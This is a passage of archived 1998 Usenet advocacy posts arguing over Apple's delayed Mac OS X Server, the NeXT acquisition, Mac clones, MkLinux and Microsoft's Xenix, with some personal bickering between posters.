References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu>
In article <mazulauf-0310980024190001@happy.met.utah.edu>,
mazulauf@atmos.met.utah.edu (Mike Zulauf) wrote:
> In article <joe.ragosta-0210982016330001@elk86.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > The Premiere release (Q1 98) was supposed to be Rhapsody with no Blue Box.
> > The Unified release was due Q3 1998 and was to include Blue Box.
> >
> > They basically cancelled the Premiere release. Unified is now Mac OS X
> > Server 1.0 and is reasonably close to being on the original schedule.
>
> No, they're not close to being on schedule. Unified was to ship in mid
> 98. Mid 98 has come and gone, and there is still no sign of it. Have
> there been any new rumors as to when it's coming? Not that it would mean
> anything, since I've been hearing it was "about a month away" for the last
> several months.
Where have you been hearing "a month away"?
The most recent statement from Apple said fall, 1998. Let's take the worst
case scenario and say it ships by year end. That's 6 months late.
How late was Win96/97/98? And that was merely a bunch of bug fixes.
6 months late for a complete OS rewrite is pretty good.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: michael.peck@ericsson.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: ARGH]:
Date: Thu, 01 Oct 1998 21:23:29 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v0rsg$p0b$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net>
In article <no-spam-0110981305500001@port-39-39.access.one.net>,
no-spam@one.net (MojiDoji) wrote:
> In article <3613894a.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
wrote:
> And Macs don't support Windows at all? They've been able to read Windows
> disks for quite a few years.
Well, the iMac can't.
> Apple used to make a PC card that shipped
> with DOS and Windows, not to mention the fact that Apple has MkLinux.
> Linux on a Mac...where's MsLinux?
The "Mk" in MkLinux stands for "Microkernel". It is an OSF project (huge
chunks of the project performed by Gary Thomas of OSF) that made use of Apple
personnel for hardware compatibility and marketing.
If you're looking for "MsLinux" I think what you're really looking for is
"IntelLinux", or "Linux/i386", since Intel (not Microsoft) makes the hardware.
And, funny enough, there is already a "Linux/i386".
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 1 Oct 1998 22:20:47 GMT
Organization: Primenet (602)416-7000
Message-ID: <6v0v7v$rii$1@nnrp02.primenet.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com>
<36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com>
michael.peck@ericsson.com wrote:
: In article <6v0cu9$jur$1@nnrp03.primenet.com>,
: John Jensen <jjens@primenet.com> wrote:
: > Gosh, you don't make this YB stuff sound too good. Dumb me, I believed
: > all that stuff Apple told me in December '96 about aquiring a mature
: > product.
: While it's instructive in pointing out the inconsistency in what Sal says, I
: don't think the fact that Apple really *had* acquired a mature product
: should be downplayed. Unfortunately, instead of shipping it, some poor
: decisions have been made, and few in the community have yet acknowledged
: the fact. Instead, silly and blatantly contradictory excuses are
: invented from thin air, as we've seen, for instance, in this thread.
For reference, my comments to mac advocacy in December of '96:
<quote>
I'd like to see NextStep shipped unchanged on the high end machines.
The port should be very fast (they are already shipping on PA-RISC and
SPARC). NextStep would bring the Mac hardware a very powerful and
very reliable web server. That Mac emulation envronment (MAE ?) that
[ran] on Solaris and HP-UX should be an easy port to NextStep, and
viola!
I'm nervous about this "merging technology" stuff I see in the press
releases. It sounds like another opportunity for committies to dilute
and denude a working system. On the other hand, I can't really see
NextStep in itself making it in the k-12 market.
Perhaps Apple can work a two-tiered approach, something like Win95 &
WinNT, with the bulk of the systems running a MacOS derived system and
servers and power users running NextStep (unchanged, with MAE).
</quote>
By August '97, I was pretty much burned out. See:
http://www.dejanews.com/getdoc.xp?AN=268197536
John
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Microsoft's Unix
Date: Thu, 1 Oct 1998 19:10:20 -0700
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6v1dn9$cu7$8@supernews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net>
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MojiDoji wrote in message ...
>where's MsLinux?
MS gave up on Unix in the late 70's (when the rest of the world should have
done the same), with their 1st OS ("Microsoft Xenix").... realizing what
utter hell Unix was.
Dan
From: michael.peck@ericsson.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 01 Oct 1998 21:30:29 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v0s9m$pfc$1@nnrp1.dejanews.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com>
In article <6v0cu9$jur$1@nnrp03.primenet.com>,
John Jensen <jjens@primenet.com> wrote:
[cut]
> Gosh, you don't make this YB stuff sound too good. Dumb me, I believed
> all that stuff Apple told me in December '96 about aquiring a mature
> product.
While it's instructive in pointing out the inconsistency in what Sal says, I
don't think the fact that Apple really *had* acquired a mature product should
be downplayed. Unfortunately, instead of shipping it, some poor decisions
have been made, and few in the community have yet acknowledged the fact.
Instead, silly and blatantly contradictory excuses are invented from thin
air, as we've seen, for instance, in this thread.
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Sat, 03 Oct 1998 02:07:08 +0100
Organization: EarthLink Network, Inc.
Message-ID: <361577AE.6C2C@earthlink.net>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net>
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Craig Koller wrote:
> So, in other words, you're holding Apple to a schedule that Steve Jobs
> never promised.
Doesn't matter. I don't care. I wanted to run it on my Mac the day
Apple bought NeXT. I know how cool NeXT/Openstep is. It's been just
about 2 years now. Where is it? Remember how they said that most of
the work was already done for a NeXT PPC machine? Where is it? I wish
they had just finished the straight Openstep port to PPC and released
it. Then they could have always gone back and "added" things. I'm
getting the vibe from this thread that we won't see "Rhapsody/Mac OS
Server" until January now......Ugh!!!!!!!!! You're killing me here
Apple! Let's see it already!
Steve
-not a developer
From: Nepenthe@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: Tue, 06 Oct 1998 08:35:16 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vcko4$s48$1@nnrp1.dejanews.com>
References: <3615835C.225B608D@nstar.net> <6v6hvv$c0q@newsb.netnews.att.com> <1dgejkn.iknyif14ug5ogN@quern.demon.co.uk>
In article <1dgejkn.iknyif14ug5ogN@quern.demon.co.uk>,
jonathan@quern.demon.co.uk (Jonathan Sanderson) wrote:
> <gupta@kcopsrm.tm.tta.moc-mirror> wrote:
>
> > To be brief,
> > I haven't seen any evidence that the cloners helped grow the
> > Macintosh market. All the evidence is that they cannibalized it,
>
> I think you've hit the nail right on the head, there.
>
> If the cloners had done what Apple wanted them to do, we'd have seen
> something like the iMac a year ago. Apple would likely have been more
> than happy to carry on with the higher-margin G3 line.
>
> But that didn't happen, since every cloner with any sense (ie all of
> them) looked at the figures, and made high-margin, high-end machines.
> For a while we were treated to the ludicrous situation of the cheapest
> clone Mac being made by Apple (the Tanzania-based 4400).
>
> Now that Apple *is* in the low-end market (or at least the 'nearly
> low-end' market), I'm again not sure it makes any sense to license
> machines into that same market. Apple is, after all, a hardware company
> that just happens to write OSs too.
>
> ...or maybe I just bought all the hype last year?
Another problem was that during cloning, although Mac OS market share actually
grew at one stage Apple market share shrank. Guess what was widely reported,
not increasing Mac OS market share but shrinking Apple market share. Apple
sales is what the press focuses on not the OS share.
Apple is probably scared of diluting the number of sales among numerous
companies. It doesn't matter if more copies of Mac OS (whatever) are in use,
Apples system sales will be used as the indicator of the health of the
platform.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Corbett Baker <cbaker@wenet.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: Fri, 02 Oct 1998 03:12:49 +0000
Organization: Whole Earth Networks News
Message-ID: <361444B1.A3B92AE9@wenet.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com>
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Dan wrote:
> MojiDoji wrote in message ...
>
> >where's MsLinux?
>
> MS gave up on Unix in the late 70's (when the rest of the world should have
> done the same), with their 1st OS ("Microsoft Xenix").... realizing what
> utter hell Unix was.
>
> Dan
Yeah Multi-user Z80's and 8080's are a BAD idea, but do you consider DOS 1.0
any better? jesus Dan your "unix" experience is most likely 1 hour of using
linux without
reading anything or knowing anything and saying it is "utter hell"
I really wish you would stop making un-educated comments like this, only the
ignorant take you seriously.
--
Windows NT is a piece of cr*p, and almost
everybody knows it, but by leveraging on their desktop parts, MS has
certainly been able to make a dent in the server and workstation market.
Linus Torvalds,
From: no-spam@one.net (MojiDoji)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: ARGH]:
Message-ID: <no-spam-0210980024450001@port-48-32.access.one.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v0rsg$p0b$1@nnrp1.dejanews.com>
Date: 2 Oct 1998 00:16:26 -0500
Organization: OneNet Communications News Hub
In article <6v0rsg$p0b$1@nnrp1.dejanews.com>, michael.peck@ericsson.com wrote:
> In article <no-spam-0110981305500001@port-39-39.access.one.net>,
> no-spam@one.net (MojiDoji) wrote:
> > In article <3613894a.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
> wrote:
>
> > And Macs don't support Windows at all? They've been able to read Windows
> > disks for quite a few years.
>
> Well, the iMac can't.
Obviously not, without a floppy drive, SCSI host adaptor or secondary IDE bus.
>
> > Apple used to make a PC card that shipped
> > with DOS and Windows, not to mention the fact that Apple has MkLinux.
> > Linux on a Mac...where's MsLinux?
>
> The "Mk" in MkLinux stands for "Microkernel". It is an OSF project (huge
> chunks of the project performed by Gary Thomas of OSF) that made use of Apple
> personnel for hardware compatibility and marketing.
That was my point. Apple is digging their hands into alternative OS' for
the Mac platform.
>
> If you're looking for "MsLinux" I think what you're really looking for is
> "IntelLinux", or "Linux/i386", since Intel (not Microsoft) makes the hardware.
> And, funny enough, there is already a "Linux/i386".
No, because the discussion was about OS', to the best of my knowledge. We
weren't talking about Intel supporting Apple, now, were we? NT is what I
remember.
>
> MJP
>
> -----------== Posted via Deja News, The Discussion Network ==----------
> http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
--
To reply, replace "no-spam" with "mottbi"
Message-ID: <361462DE.A1DFB275@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com>
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NNTP-Posting-Date: Fri, 02 Oct 1998 01:18:18 EDT
Date: Thu, 01 Oct 1998 22:21:34 -0700
Dan wrote:
* MojiDoji wrote in message ...
* * where's MsLinux?
* MS gave up on Unix in the late 70's (when the rest of the world
* should have done the same), with their 1st OS
* ("Microsoft Xenix").... realizing what utter hell Unix was.
Actually, Micro$oft were hard at the UNIX coding pumps well into
1981, and they took a little longer to "give up on UNIX".
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a
car.)
Date: 2 Oct 98 02:23:37 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B239E9AC-11ECC@206.165.43.115>
References: <tim-2909981747290001@jump-tnt-0179.customer.jump.net>
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nntp://news.primenet.com/comp.sys.next.advocacy
Tim Olson <tim@jumpnet.com> said:
>
>Probably not Squeak (which was internal to Apple until about 2 years ago),
>but perhaps some Smalltalk-80 derivative.
Eh. I was told that Apple, as well as several universities, had been given
the right, by XEROX, to produce SmallTalk systems. This was in 1987 (the SE
had just been released a few weeks/months earlier) and it was a "true"
SmallTalk, as far as I know. It took over the entire Mac Plus and behaved,
as far as I can recall, just like the system that BYTE wrote about way back
when.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Robert Fovell <rfovell@yahoo.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Sat, 03 Oct 1998 09:51:37 -0700
Organization: University of California, Los Angeles
Message-ID: <361655C1.977A0B2C@yahoo.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net>
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Craig Koller wrote (*in small part*):
> [sage analyses snipped, leading to:]
>
> Everything I've read about MacOS X Server is that it's ready to go,
> however, given the coming launch for MacOS 8.5, I'll bet Steve Jobs
> doesn't want to cloud the issue with MacOS X Server. The iMac/Christmas
> season is about to kick in, and Apple is about to make a ton of
> announcements at MacWorld SF in January.
>
> Like I've said before, Jobs is looking to strategically introduce new
> products one at a time and build excitement in the channel. This means
> giving each new introduction the attention it deserves. As it is, Apple's
> having a tough time meeting demand for its products, even running on that
> "creaky" MacOS...
>
> [more snippage]
A modest proposal: Roll out Mac OS X Server *quietly*, if indeed the candle's
ready to be lit. There are Mac/Unix users out there who could definitely use
this product. People that would normally be attracted to (or are already
conversant with) the various Unices, for example. Why keep them (us) waiting, if
it is not necessary? But, don't make a big deal out of it, and don't let the
CompUSAs of the world carry it. Just make it available through Apple and select
other sources (such as University stores).
Yes, I imagine CompUSA carries Linux packages. The problem with MOSXS is that it
now carries the "Mac OS" moniker, which may fool someone expecting - and needing
- something more like OS 8.5. I believe, hopefully not foolishly, that in MOSXS
Apple has a product that can get Unix/Linux ubergeeks excited. This is a good
thing, and need not cloud their other marketing strategies, IMHO.
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell
"That's not what a Mac does. I want Mac on the PC.
I want Mac on the PC." -- Bill Gates
Message-ID: <3614C098.FE19CB7@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net> <don.brown-1909982319020001@dsm-ia1-02.ix.netcom.com> <6u24bb$m92$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009981011040001@166-93-82-37.rmi.net> <lekleber-3009980130570001@uar180090.columbus.rr.com> <6v0s2d$pco$1@nnrp1.dejanews.com> <josh_neal-0210980110160001@209-142-17-67.oak.inreach.net>
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NNTP-Posting-Date: Fri, 02 Oct 1998 08:02:30 EDT
Organization: ISPNews http://ispnews.com
Date: Fri, 02 Oct 1998 07:01:28 -0500
Josh Neal wrote:
>
> In article <6v0s2d$pco$1@nnrp1.dejanews.com>,
> michael.peck@ericsson.com wrote: Just to add my two cents (and then to
> quickly back away), I'm one of those who greatly prefers my turbo slab
> (33mhz 68040) to the 266 PII NT machine that I have to use at work. NT
> actually manages to make me not want to work on a computer (a
> difficult thing for a CS geek like me). I *look forward* to coming
> home to my trusty slab... Flame away. - Josh Neal
My point wasn't to say that NeXTers who prefer their older machines are
wrong to do so, but rather that to criticize someone for preferring a
286 running DOS is wrong.
MJP
Message-ID: <3614BF4E.C5F58265@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net> <6v0mhb$6b@news1.panix.com> <6v1385$4lm$1@nnrp1.dejanews.com> <6v1ovv$c9k@news1.panix.com>
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NNTP-Posting-Date: Fri, 02 Oct 1998 07:57:04 EDT
Organization: ISPNews http://ispnews.com
Date: Fri, 02 Oct 1998 06:55:58 -0500
Sal Denaro wrote:
> And now your shifting goalposts.
>
> You stated that Apple was refusing to provide the full YB interface on NT
> in order to protect its hardware sales.
No I'm not and no I didn't. You obviously haven't read the thread into
which you inserted yourself.
> I refuted that by pointing out the need to match the NT UI, and meet logo
> requirements.
That was never the point, which means that you are the one shifting
goalposts.
> This is a habit you have. Whenever someone refutes your statements, you
> shift them and try to argue around them.
Cute. You've got this strange idea that you can claim victory in threads
by changing subjects and then pinning the blame on someone else.
[cut]
> You claimed that there was no proof that Apple was going to maintain YB on
> NT. I posted a comments made by Apple clearly stating that Apple plans on
> maintaining YB on NT and providing a free runtime.
>
> And now that I have refuted your point, you are attempting (and poorly) to
> muddle the discussion.
That would be fine to say if you'd done anything like refuting a point,
but all you've done is change the subject.
> >I don't remember receiving an apology,
>
> You owe me an apology. I repeatedly asked you to refrain from making personal
> attacks, and you have refused. And now you are attempting to claim the moral
> high ground?
Case in point. I see that you have updated the link you provided, in
which you claimed "I sent you a three-line apology". Here are the three
lines:
> At the very least you owe me a public apology for your insults.
> I don't want to start forwarding things to your ISP over this.
> Be a man and start behaving like one.
</quote>
That doesn't look like an apology to me. What it looks like is a cheap
attempt on your part to publicly post what was privately emailed.
Incredible.
> You have a lot of nerve. You pointed out that I insulted you, that is
> correct. Now please show where I have ever insulted you when it wasn't
> a direct response to you insulting me. You know what they say, what goes
> around comes around.
That's a fine philosophy. It's none of my business; I don't accept it.
> And if you can produce some insult I directed at you that wasn't a response
> to an insult you directed at me, post it and I'll apologize. Go ahead and
> find one.
As I say, this moral standard is of little value to me.
[cut]
> I think it is clear that you have no right to claim the moral high ground,
> or to complain about insults directed to you. If you are going to dish it
> out, you should be man enough to take it when it comes back to you.
I don't and won't justify to you my remarks. If you've got a problem
with the "moral high ground", work your way toward it rather than
complaining about it.
> Yes. If you are going to post a stream of insults directed to me, you should
> expect the same in return.
Well, I would have expected such things from you in private email, but
never sent to my ISP or posted to a public newsgroup. I would think that
there were no need to point out that this is crass.
> Then leave. No one is making you stay. I think I speak for everyone on CSNA
> when I say you won't be missed.
CSNA isn't the issue. You are the issue.
[cut]
> You have got to be kidding. Do you honestly think that raising a possibility
> without providing supporting evidence is enough to refute a hard published
> fact? I can not fathom anyone with an engineering degree believing this.
I took extensive time to explain this, Sal, and I'm not getting
anywhere. I wasn't refuting a hard published fact; I was refuting the
clear statement that singular intent was the only basis for Apple's
action.
> You do if you want to be taken seriously.
I don't know how to explain it differently; all I can say is "you
clearly don't understand" and hope for the best.
> >As I've already said, I don't have to have any evidence whatsoever to refute
> >your premise that there was only one reason for Apple to remove DPS. All I
> >have to do is raise the possibility of other reasons, and your premise is
> >rendered false.
>
> This is insane.
>
> By that logic, if you claim that Linus wrote the .01 version of Linux, and
> provide published statments by Linus and others, all I have to do is speculate
> that maybe he found it under a rock on his way to work to render your statement
> false.
Well, no.
> You have got to be kidding. You can not possibly believe this.
And I don't, but you're going to have to work it out for yourself. Talk
to a friend about it.
> <Gibberish clipped>
>
> You raised a point, speculating about Apple's plans.
>
> I countered with a differing theory, and I backed it up with statements made
> by Apple.
>
> If you can not provide evidence, from Apple or a credibly third party, then
> your statement doesn't have a leg to stand on.
>
> If attempt to prove or disprove a statement based entirely on speculation, you
> are in the realm of "cargo cult science". This is what "UFO researchers" do.
Okay. Be well, and start a killfile. That would be nice.
MJP
From: spagiola@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Fri, 02 Oct 1998 13:08:04 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v2j7k$1ui$1@nnrp1.dejanews.com>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch> <6u0jdq$epf$1@oak.prod.itd.earthlink.net> <360ce2bf.11533800@news.alt.net> <6u12g9$3f3$1@ash.prod.itd.earthlink.net> <36074e77.39113826@news.alt.net> <6u1lfo$snd$1@birch.prod.itd.earthlink.net> <don.brown-1909982319020001@dsm-ia1-02.ix.netcom.com> <6u24bb$m92$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009981011040001@166-93-82-37.rmi.net> <lekleber-3009980130570001@uar180090.columbus.rr.com> <6v0s2d$pco$1@nnrp1.dejanews.com>
michael.peck@ericsson.com wrote:
> What's interesting, as I read this in comp.sys.next.advocacy, is that this
